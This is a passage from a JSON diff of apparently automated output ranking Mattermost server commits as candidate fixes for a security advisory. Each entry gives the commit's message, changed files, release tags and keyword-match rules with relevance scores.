modal * Added some tests * Lint fix * Used new selector in user detail page * Used new selector in user list page * Updated tests * Fixed an incorrect default test", + "changed_files": [ + "server/channels/api4/report.go", + "server/channels/app/user.go", + "server/channels/app/users/utils.go", + "server/channels/store/sqlstore/post_store.go", + "server/public/model/report.go", + "server/public/model/user.go", + "server/public/model/user_test.go", + "webapp/channels/src/components/admin_console/admin_user_card/admin_user_card.scss", + "webapp/channels/src/components/admin_console/system_user_detail/__snapshots__/system_user_detail.test.tsx.snap", + "webapp/channels/src/components/admin_console/system_user_detail/index.ts", + "webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.scss", + "webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.test.tsx", + "webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.tsx", + "webapp/channels/src/components/admin_console/system_users/system_users_list_actions/confirmManageUserSettingsModal.tsx", + "webapp/channels/src/components/admin_console/system_users/system_users_list_actions/index.tsx", + "webapp/channels/src/components/confirm_modal_redux/confirm_modal_redux.tsx", + "webapp/channels/src/components/user_settings/advanced/index.ts", + "webapp/channels/src/components/user_settings/advanced/join_leave_section/index.ts", + "webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.test.tsx", + "webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.tsx", + "webapp/channels/src/components/user_settings/advanced/performance_debugging_section/index.ts", + "webapp/channels/src/components/user_settings/advanced/performance_debugging_section/performance_debugging_section.tsx", + "webapp/channels/src/components/user_settings/advanced/user_settings_advanced.tsx", + "webapp/channels/src/components/user_settings/display/__snapshots__/user_settings_display.test.tsx.snap", + "webapp/channels/src/components/user_settings/display/index.ts", + "webapp/channels/src/components/user_settings/display/manage_languages/index.ts", + "webapp/channels/src/components/user_settings/display/manage_languages/manage_languages.test.tsx", + "webapp/channels/src/components/user_settings/display/manage_languages/manage_languages.tsx", + "webapp/channels/src/components/user_settings/display/manage_timezones/index.ts", + "webapp/channels/src/components/user_settings/display/manage_timezones/manage_timezones.test.tsx", + "webapp/channels/src/components/user_settings/display/manage_timezones/manage_timezones.tsx", + "webapp/channels/src/components/user_settings/display/user_settings_display.test.tsx", + "webapp/channels/src/components/user_settings/display/user_settings_display.tsx", + "webapp/channels/src/components/user_settings/headers/setting_desktop_header.scss", + "webapp/channels/src/components/user_settings/index.tsx", + "webapp/channels/src/components/user_settings/modal/index.ts", + "webapp/channels/src/components/user_settings/modal/user_settings_modal.tsx", + "webapp/channels/src/components/user_settings/notifications/index.ts", + "webapp/channels/src/components/user_settings/notifications/user_settings_notifications.test.tsx", + "webapp/channels/src/components/user_settings/notifications/user_settings_notifications.tsx", + "webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/index.ts", + "webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/limit_visible_gms_dms.tsx", + "webapp/channels/src/components/user_settings/sidebar/show_unreads_category/index.ts", + "webapp/channels/src/components/user_settings/sidebar/show_unreads_category/show_unreads_category.tsx", + "webapp/channels/src/components/user_settings/sidebar/user_settings_sidebar.tsx", + "webapp/channels/src/components/widgets/smartLoader/index.tsx", + "webapp/channels/src/i18n/en.json", + "webapp/channels/src/packages/mattermost-redux/src/action_types/preferences.ts", + "webapp/channels/src/packages/mattermost-redux/src/actions/preferences.ts", + "webapp/channels/src/packages/mattermost-redux/src/reducers/entities/preferences.ts", + "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/preferences.ts", + "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/timezone.ts", + "webapp/channels/src/packages/mattermost-redux/src/store/initial_state.ts", + "webapp/channels/src/sass/components/_modal.scss", + "webapp/channels/src/sass/routes/_settings.scss", + "webapp/channels/src/selectors/admin_console.jsx", + "webapp/channels/src/utils/constants.tsx", + "webapp/platform/client/src/client4.ts", + "webapp/platform/types/src/store.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27583": "Code enhancements to feature - Sysadmin manage user settings #27636 Manage user's settings mattermost/docs#7320" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: console, test, file, system", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: time, limit, console, test, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27583", + "relevance": 2 + } + ] + }, + { + "commit_id": "d249d4d1b0aa98de3cb29a6b572465d415b356d3", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720731164, + "hunks": 4, + "message": "[MM-58778] Fixing white screen for GM conversion (#27385) * fixing white screen for GM conversion --------- Co-authored-by: Mattermost Build ", + "changed_files": [ + "webapp/channels/src/components/post_view/gm_conversion_message/gm_conversion_message.tsx", + "webapp/channels/src/i18n/en.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27385": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: version", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27385", + "relevance": 2 + } + ] + }, + { + "commit_id": "7d80b5d04b96a7676434d158a0b455a19e52d867", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720717562, + "hunks": 1, + "message": "MM-59378 Skip flaky PerformanceReporter test (#27626)", + "changed_files": [ + "webapp/channels/src/utils/performance_telemetry/reporter.test.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27626": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27626", + "relevance": 2 + } + ] + }, + { + "commit_id": "e8b48928772afee4b926ed0db4ca95183491cea8", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720695536, + "hunks": 83, + "message": "Fix several re-renders on init (#26361) * Fix several re-renders on init * Fix tests * Address feedback --------- Co-authored-by: Mattermost Build ", + "changed_files": [ + "webapp/channels/src/components/common/hooks/useGetSelfHostedProducts.ts", + "webapp/channels/src/components/compass_theme_provider/compass_theme_provider.tsx", + "webapp/channels/src/components/onboarding_tasklist/onboarding_tasklist.tsx", + "webapp/channels/src/components/sidebar/sidebar_category/sidebar_category_menu/index.tsx", + "webapp/channels/src/components/sidebar/sidebar_channel/sidebar_channel_menu/index.ts", + "webapp/channels/src/components/sidebar/sidebar_channel/sidebar_channel_menu/sidebar_channel_menu.tsx", + "webapp/channels/src/components/sidebar/sidebar_list/sidebar_list.tsx", + "webapp/channels/src/components/threading/global_threads_link/global_threads_link.tsx", + "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_categories.test.ts", + "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_categories.ts", + "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channels.ts", + "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/groups.ts", + "webapp/channels/src/selectors/rhs.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "26361": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 26361", + "relevance": 2 + } + ] + }, + { + "commit_id": "731f056f54e39314ec52d0a73c69f09c01b55bfd", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720622846, + "hunks": 31, + "message": "Support release testing (#27587) * Support release testing * Merge resolve-ref and generate-test-variables jobs", + "changed_files": [ + ".github/workflows/e2e-fulltests-ci.yml", + ".github/workflows/e2e-tests-ci-template.yml", + "e2e-tests/.ci/server.generate.sh", + "e2e-tests/.ci/server.start.sh" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27587": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27587", + "relevance": 2 + } + ] + }, + { + "commit_id": "7c2a461de86529c3ebb3587ace229f6fe776996c", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720558053, + "hunks": 9, + "message": "[MM-56921] Rendered Latex in Codeblock when rendering disabled (#27060) * Rendered Latex in Codeblock when rendering disabled * Fixed Lint error * Removed render function in Latex Component * Fix errors preventing LatexBlock unit tests from running * Updated latex disabled test for Codeblock testing * Fixed latex_block test lint errors * Removed Latex disabled test Snapshot --------- Co-authored-by: Harrison Healey Co-authored-by: Mattermost Build ", + "changed_files": [ + "webapp/channels/src/components/code_block/code_block.tsx", + "webapp/channels/src/components/latex_block/__snapshots__/latex_block.test.tsx.snap", + "webapp/channels/src/components/latex_block/latex_block.test.tsx", + "webapp/channels/src/components/latex_block/latex_block.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27060": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27060", + "relevance": 2 + } + ] + }, + { + "commit_id": "e3b2b1329218d3af7ba46605621b48d76fa3f089", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720551968, + "hunks": 78, + "message": "MM-58535 Add more information to LCP and INP metrics (#27484) * Improve mocking of imported resources in unit tests We have Webpack configured so that, when code imports an image or other resource, the code gets the URL of that image. Jest now matches that behaviour which is needed because React Testing Library would previously throw an error. * Polyfill ResizeObserver in all unit tests * Ensure haveIChannelPermission always returns a boolean value The previous code could sometimes return undefined. While that should behave the same in practice, it can cause React to print prop type warnings * MM-58535 Add region label to LCP metrics * MM-58535 Upgrade web-vitals and add INP attribution * Change new labels to use snake_case * Remove replaceGlobalStore option from renderWithContext I was going to add this in case any tests failed with this option set to false, but after running those tests, that's not the case. I'm going to remove this as an option since it seems more likely than not that anyone using RTL would prefer to have this on.", + "changed_files": [ + "server/channels/app/metrics.go", + "server/einterfaces/metrics.go", + "server/einterfaces/mocks/MetricsInterface.go", + "server/enterprise/metrics/metrics.go", + "server/public/model/metrics.go", + "webapp/channels/jest.config.js", + "webapp/channels/package.json", + "webapp/channels/src/components/__snapshots__/file_upload_overlay.test.tsx.snap", + "webapp/channels/src/components/add_groups_to_channel_modal/__snapshots__/add_groups_to_channel_modal.test.tsx.snap", + "webapp/channels/src/components/add_groups_to_team_modal/__snapshots__/add_groups_to_team_modal.test.tsx.snap", + "webapp/channels/src/components/admin_console/openid_convert/__snapshots__/openid_convert.test.tsx.snap", + "webapp/channels/src/components/advanced_text_editor/advanced_text_editor.test.tsx", + "webapp/channels/src/components/advanced_text_editor/formatting_bar/formatting_bar.test.tsx", + "webapp/channels/src/components/announcement_bar/configuration_bar/__snapshots__/configuration_bar.test.tsx.snap", + "webapp/channels/src/components/file_info_preview/__snapshots__/file_info_preview.test.tsx.snap", + "webapp/channels/src/components/integrations/bots/add_bot/__snapshots__/add_bot.test.tsx.snap", + "webapp/channels/src/components/markdown_image/__snapshots__/markdown_image.test.tsx.snap", + "webapp/channels/src/components/onboarding_tasklist/__snapshots__/onboarding_tasklist_completed.test.tsx.snap", + "webapp/channels/src/components/select_team/__snapshots__/select_team.test.tsx.snap", + "webapp/channels/src/components/threading/virtualized_thread_viewer/virtualized_thread_viewer.test.tsx", + "webapp/channels/src/components/user_settings/display/user_settings_theme/custom_theme_chooser/__snapshots__/custom_theme_chooser.test.tsx.snap", + "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/roles.ts", + "webapp/channels/src/tests/image_url_mock.json", + "webapp/channels/src/tests/react_testing_utils.tsx", + "webapp/channels/src/tests/setup_jest.ts", + "webapp/channels/src/utils/notifications.test.ts", + "webapp/channels/src/utils/performance_telemetry/element_identification.test.tsx", + "webapp/channels/src/utils/performance_telemetry/element_identification.ts", + "webapp/channels/src/utils/performance_telemetry/reporter.test.ts", + "webapp/channels/src/utils/performance_telemetry/reporter.ts", + "webapp/package-lock.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27484": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: time, size, fail, cause, test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: role, configuration, console, file, test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27484", + "relevance": 2 + } + ] + }, + { + "commit_id": "2297732c9c8918044ffc2f35c8674fb4471e8275", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720548052, + "hunks": 38, + "message": "CLD-5704 Migrate daily master/cloud tests (#27393) (#27606) * [skip ci] Support Cloud/daily tests and Zephyr integration * [skip ci] Fix workflow file * [skip ci] Fix typo in workflow input name * Fix cloud variable passing * [skip ci] Fix typo * Utilize master branch image for daily tests * Apply Saturn's suggestion, fixes and improvements (cherry picked from commit 4f68dbb96ed71f1f44942300ae029a0b4ea3ea3c) Co-authored-by: Mario Vitale ", + "changed_files": [ + ".github/workflows/e2e-fulltests-ci.yml", + ".github/workflows/e2e-tests-ci-template.yml", + "e2e-tests/.ci/.e2erc", + "e2e-tests/.ci/report.publish.sh", + "e2e-tests/.ci/server.cloud_init.sh", + "e2e-tests/.ci/server.cloud_teardown.sh", + "e2e-tests/cypress/save_report.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27393": "Automated cherry pick of #27393 #27606", + "27606": "Support release testing #27587" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "v9.10.1", + "v9.10.1-rc1", + "v9.10.1-rc2", + "v9.10.1-rc3", + "v9.10.2", + "v9.10.2-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file, test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27393, 27606", + "relevance": 2 + } + ] + }, + { + "commit_id": "6fc5ff572f263fff315296032591e0b090f54d09", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720521368, + "hunks": 8, + "message": "Don't modify global variables in TestNoticeValidation (#27591)", + "changed_files": [ + "server/channels/app/product_notices.go", + "server/channels/app/product_notices_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27591": "[MM-59292] Add metadata to Support Packet #27573" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27591", + "relevance": 2 + } + ] + }, + { + "commit_id": "00dc08824c7f32d46e6a3284bf74b350448a1526", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720485884, + "hunks": 1, + "message": "Bump prepackage Github plugin version to 2.3.0 (#27572)", + "changed_files": [ + "server/Makefile" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27572": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27572", + "relevance": 2 + } + ] + }, + { + "commit_id": "9b2f20210b079abc0065ca7d885ce220a6cb60d5", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720479414, + "hunks": 39, + "message": "[MM-56339] Audit logs: on login add UserId and SessionId to audit's Actor field (#27446) * on login add UserId and SessionId to audit's Actor field to match logout * lint * simplify to add only userId and sessionId * AddToEventActor -> AddUser/SessionToEventActor * fill in missing session data when logging the audit record * why did it bump that? reverting. * make modules-tidy * trigger build * add more context to the comment", + "changed_files": [ + "server/channels/api4/user_test.go", + "server/channels/utils/merge_test.go", + "server/channels/web/context.go", + "server/go.mod", + "server/go.sum", + "server/public/go.mod", + "server/public/go.sum" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27446": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: field", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27446", + "relevance": 2 + } + ] + }, + { + "commit_id": "9f312f48b5567f284a5226d6d6ddc8f6b432c341", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720469114, + "hunks": 9, + "message": "[MM-58004] Update logged fields of users (#26860)", + "changed_files": [ + "server/channels/audit/audit_test.go", + "server/public/model/user.go", + "server/public/model/user_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "26860": "[MM-57963] Log Name and DisplayName of groups #26836" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: field", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 26860", + "relevance": 2 + } + ] + }, + { + "commit_id": "3513d310af629523f6967e039f788bf1b6d0e2c0", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720466425, + "hunks": 9, + "message": "[MM-58003] Allow setting AdvancedLoggingJSON via mmctl (#27388)", + "changed_files": [ + "server/cmd/mmctl/commands/config.go", + "server/cmd/mmctl/commands/config_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27388": "mmctl config set supports AdvancedLoggingJSON config mattermost/docs#7326" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: allow", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27388", + "relevance": 2 + } + ] + }, + { + "commit_id": "bc49f348bf76b685461f7c036f7a7e415443870c", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720432480, + "hunks": 10, + "message": "Correctly merge plugin configuration on mmctl config patch (#26647) * Adds a step to the config patch command to merge plugin configurations * Fix linter --------- Co-authored-by: Mattermost Build ", + "changed_files": [ + "server/cmd/mmctl/commands/config.go", + "server/cmd/mmctl/commands/config_test.go", + "server/cmd/mmctl/commands/utils.go", + "server/cmd/mmctl/commands/utils_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "26647": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: configuration", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 26647", + "relevance": 2 + } + ] + }, + { + "commit_id": "4e32da62fa71dc4eae803866e91247aeb45d4e6f", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720419369, + "hunks": 44, + "message": "chore: improvements to keycloak local development (#26518) * update keycloak docker image * update realm file with a compatible realm * import realm on start-docker command Since bitnami's image does not support importing directly, the import of the test realm is done in the make file start-docker action * Use official image from quay * updated realm keycloak config * final note about nickname attrib for saml * add admin user * update realm * Updated from master * Updated docs * local typo * use jq for ldap and saml * updated readme", + "changed_files": [ + "server/Makefile", + "server/build/docker-compose.common.yml", + "server/build/docker/keycloak/ldap.mmsettings.json", + "server/build/docker/keycloak/openid.mmsettings.json", + "server/build/docker/keycloak/realm-export.json", + "server/build/docker/keycloak/saml.mmsettings.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "26518": "Fix config targets in Makefile #27746" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file, test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 26518", + "relevance": 2 + } + ] + }, + { + "commit_id": "9f396c9294144114ba182891e6d9c309fc8cf003", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720116488, + "hunks": 8, + "message": "[MM-58443] Migrate tooltips of 'components/global_header/right_controls/saved_posts_button/saved_posts_button.tsx' to WithTooltip (#27185) * add withtooltip handling * add withtooltip handling * placed icon inside tooltip * Update saved_posts_button.tsx * Update saved_posts_button.tsx * Update saved_posts_button.test.tsx.snap * Update saved_posts_button.tsx --------- Co-authored-by: surajanthwal Co-authored-by: M-ZubairAhmed Co-authored-by: Mattermost Build ", + "changed_files": [ + "webapp/channels/src/components/global_header/right_controls/saved_posts_button/__snapshots__/saved_posts_button.test.tsx.snap", + "webapp/channels/src/components/global_header/right_controls/saved_posts_button/saved_posts_button.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27185": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27185", + "relevance": 2 + } + ] + }, + { + "commit_id": "6d427cf005e4013f230d3f74c51840ce6cc99efd", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720113195, + "hunks": 2, + "message": "Revert \"Added GetPluginID method and tests (#27281)\" (#27540) This reverts commit 4acc4796edb2c1ff93e861b4732c1c758ac76371.", + "changed_files": [ + "server/public/model/manifest.go", + "server/public/model/manifest_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27281": "[MM-57738] Retrieve Id through GetPluginID method in Manifest model mattermost/mattermost-plugin-starter-template#199 Add plugin API to allow plugins to fetch their own pluginID #26710", + "27540": "[MM-57738] Added GetPluginID method to Manifest model #27281" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27281, 27540", + "relevance": 2 + } + ] + }, + { + "commit_id": "3e4d91590fb5268d3ef04166115c91e7aac05fab", + "repository": 